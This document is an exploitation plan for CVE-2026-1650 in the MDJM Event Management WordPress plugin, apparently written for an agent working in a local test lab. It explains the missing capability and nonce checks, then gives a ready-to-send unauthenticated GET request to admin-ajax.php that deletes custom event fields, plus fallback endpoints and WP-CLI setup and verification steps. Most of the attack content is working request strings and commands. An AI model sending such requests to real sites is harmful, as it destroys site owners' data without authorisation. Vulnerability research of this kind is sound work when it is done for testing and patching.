Exploitation Research Plan: CVE-2026-1650

1. Vulnerability Summary

The MDJM Event Management plugin (versions up to 1.7.8.1) is vulnerable to unauthenticated arbitrary custom event field deletion. The vulnerability exists in the MDJM_Event_Fields class located in includes/admin/pages/event-fields.php. The class registers a controller function, custom_fields_controller(), to the admin_init hook. Because admin_init fires on admin-ajax.php even for unauthenticated users, and the controller lacks any capability checks (current_user_can) or nonce verification (check_admin_referer), an attacker can trigger the delete_field() method by providing specific GET parameters.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php (triggers admin_init unauthenticated)
• Method: GET
• Vulnerable Hook: admin_init
• Vulnerable Function: MDJM_Event_Fields::custom_fields_controller
• Required Parameters:
  • delete_custom_field: Must be present in $_GET.
  • id: The integer ID of the custom field (post ID) to be deleted.
• Authentication: None (Unauthenticated).
• Preconditions: An attacker must know or brute-force the ID of an existing custom event field (which uses the custom post type mdjm-custom-fields).

3. Code Flow

1. Entry Point: A request is made to /wp-admin/admin-ajax.php.
2. Hook Trigger: WordPress initializes the admin environment, firing the admin_init hook.
3. Registration: In includes/admin/pages/event-fields.php, the constructor of MDJM_Event_Fields registers the handler:

   add_action('admin_init', array(&$this, 'custom_fields_controller'));
   

4. Logic Branch: The custom_fields_controller() function executes:

   function custom_fields_controller() {
       // ... (POST logic for add/update)
       if (isset($_GET['delete_custom_field'], $_GET['id'])) {
           $this->delete_field();
       }
       return;
   }
   

5. Sink: The delete_field() function is called. While the full source of delete_field is truncated in the provided snippet, the vulnerability description confirms it performs the deletion based on the id parameter without further authorization.

4. Nonce Acquisition Strategy

No nonce is required.
The code path in custom_fields_controller() for the GET parameters delete_custom_field and id does not invoke check_admin_referer() or wp_verify_nonce(). The missing authorization is the core of this vulnerability.

5. Exploitation Strategy

The exploit involves sending an unauthenticated GET request to the WordPress admin-ajax endpoint with the target parameters.

Step-by-Step Plan:

1. Identify Target ID: Determine the ID of an existing custom event field (type mdjm-custom-fields).
2. Execute Deletion: Use the http_request tool to send the malicious GET request.
3. Verify: Use WP-CLI to confirm the post has been deleted.

Malicious Request:

• URL: http://localhost:8080/wp-admin/admin-ajax.php?delete_custom_field=1&id=[TARGET_ID]
• Method: GET
• Headers: None required.

6. Test Data Setup

To test the vulnerability, a custom field must first be created.

1. Create a Custom Event Field via WP-CLI:

   wp post create --post_type=mdjm-custom-fields --post_title="Sensitive Field" --post_status=publish --post_content="Description"
   

2. Record the ID: The command above will return the ID (e.g., 123). This is your [TARGET_ID].

7. Expected Results

• Response: The server will likely return a 200 OK or a redirect (depending on whether the delete_field function calls wp_safe_redirect as seen in other functions in the class), but the key outcome is the background execution of the deletion.
• Data State: The post with ID [TARGET_ID] and post_type mdjm-custom-fields should no longer exist or should be moved to the trash (depending on the wp_delete_post implementation in delete_field).

8. Verification Steps

After sending the HTTP request, verify the deletion using WP-CLI:

# Check if the post still exists
wp post list --post_type=mdjm-custom-fields --post_status=any --include=[TARGET_ID]

If the command returns an empty list or doesn't show the [TARGET_ID], the exploit was successful.

9. Alternative Approaches

If /wp-admin/admin-ajax.php is blocked or fails to trigger the hook as expected, any other admin file that triggers admin_init can be targeted, provided the user is not automatically redirected. Examples:

• /wp-admin/admin-post.php?delete_custom_field=1&id=[TARGET_ID]
• /wp-admin/index.php?delete_custom_field=1&id=[TARGET_ID] (Note: This may require a valid login session to bypass the is_user_logged_in() check in admin.php, whereas admin-ajax.php usually bypasses it for AJAX compatibility).

Since the vulnerability is unauthenticated, admin-ajax.php is the primary and most reliable vector.